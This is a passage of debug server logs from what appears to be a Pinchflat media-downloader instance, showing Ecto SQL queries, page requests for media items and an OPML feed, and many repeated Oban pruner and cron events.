db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:06.794 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:06.795 [info] Sent 200 in 6ms 21:16:07.712 [info] GET /sources/1/media/5 21:16:07.713 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:07.713 [debug] QUERY OK source="media_items" db=0.4ms idle=921.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 21:16:07.715 [debug] QUERY OK source="sources" db=0.7ms idle=921.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:07.715 [debug] QUERY OK source="tasks" db=0.9ms idle=921.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 21:16:07.716 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=921.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [8, 203] 21:16:07.717 [debug] QUERY OK source="settings" db=0.7ms idle=907.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:07.718 [debug] QUERY OK source="settings" db=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:07.719 [debug] QUERY OK source="settings" db=0.6ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:07.719 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:07.721 [info] Sent 200 in 8ms 21:16:09.252 [info] GET /sources/1/media/2 21:16:09.252 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "2", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:09.253 [debug] QUERY OK source="media_items" db=0.5ms idle=1535.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 21:16:09.254 [debug] QUERY OK source="sources" db=0.2ms idle=1534.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:09.255 [debug] QUERY OK source="tasks" db=1.4ms idle=1535.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2] 21:16:09.256 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1444.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5, 200] 21:16:09.257 [debug] QUERY OK source="settings" db=0.6ms idle=442.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:09.258 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:09.260 [debug] QUERY OK source="settings" db=0.6ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:09.261 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:09.264 [info] Sent 200 in 11ms 21:16:09.957 [info] GET /sources/1/media/1 21:16:09.957 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:09.958 [debug] QUERY OK source="media_items" db=0.6ms idle=700.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1] 21:16:09.959 [debug] QUERY OK source="tasks" db=0.4ms idle=700.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1] 21:16:09.960 [debug] QUERY OK source="sources" db=1.1ms idle=699.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:09.961 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.3ms idle=699.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [4, 199] 21:16:09.962 [debug] QUERY OK source="settings" db=0.5ms idle=145.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:09.963 [debug] QUERY OK source="settings" db=0.8ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:09.964 [debug] QUERY OK source="settings" db=1.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:09.966 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:09.968 [info] Sent 200 in 10ms 21:16:10.562 [info] GET /sources/1/media/4 21:16:10.562 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:10.563 [debug] QUERY OK source="media_items" db=0.4ms idle=601.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 21:16:10.564 [debug] QUERY OK source="tasks" db=0.7ms idle=601.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 21:16:10.564 [debug] QUERY OK source="sources" db=0.8ms idle=600.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:10.566 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=600.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [7, 202] 21:16:10.567 [debug] QUERY OK source="settings" db=0.5ms idle=600.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:10.567 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:10.568 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:10.569 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:10.571 [info] Sent 200 in 8ms 21:16:11.121 [info] GET /sources/opml.xml 21:16:11.121 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "a294ee41-a2d0-4e63-8a60-6b3e0a075449"} Pipelines: [:maybe_basic_auth, :token_protected_route] 21:16:11.122 [debug] QUERY OK source="settings" db=0.5ms idle=554.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:11.123 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=555.0ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 21:16:11.124 [info] Sent 200 in 2ms 21:16:15.748 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:45.750 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.518 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:15.752 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:45.754 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.520 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:15.756 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:45.758 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.523 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:15.760 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:45.762 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.524 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:15.764 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:45.766 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.527 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:15.769 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:45.771 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.528 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:15.772 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:45.775 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.529 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:15.777 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:45.779 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.531 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:15.781 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:45.783 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.533 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:15.785 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:45.787 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.534 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:15.789 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:45.791 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.539 [info] {"source":"oban","duration":3089,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:15.793 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:45.795 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.543 [info] {"source":"oban","duration":3469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:15.797 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:45.799 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.544 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:15.801 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:45.803 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.546 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:15.805 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:45.808 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.547 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:15.809 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:45.812 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.548 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:15.814 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:45.816 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.549 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:15.818 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:45.819 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.550 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:15.821 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:45.823 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.551 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:15.825 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:45.827 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.553 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:15.829 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:45.831 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.554 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:15.833 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:45.835 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.560 [info] {"source":"oban","duration":4909,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:15.837 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:45.839 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.561 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:15.841 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:45.843 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.563 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:15.845 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:45.847 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.567 [info] {"source":"oban","duration":2306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:15.849 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:45.851 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.569 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:15.853 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:45.855 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.570 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:15.857 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:45.859 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.572 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:15.861 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:45.863 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.573 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:15.865 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:45.867 [info] 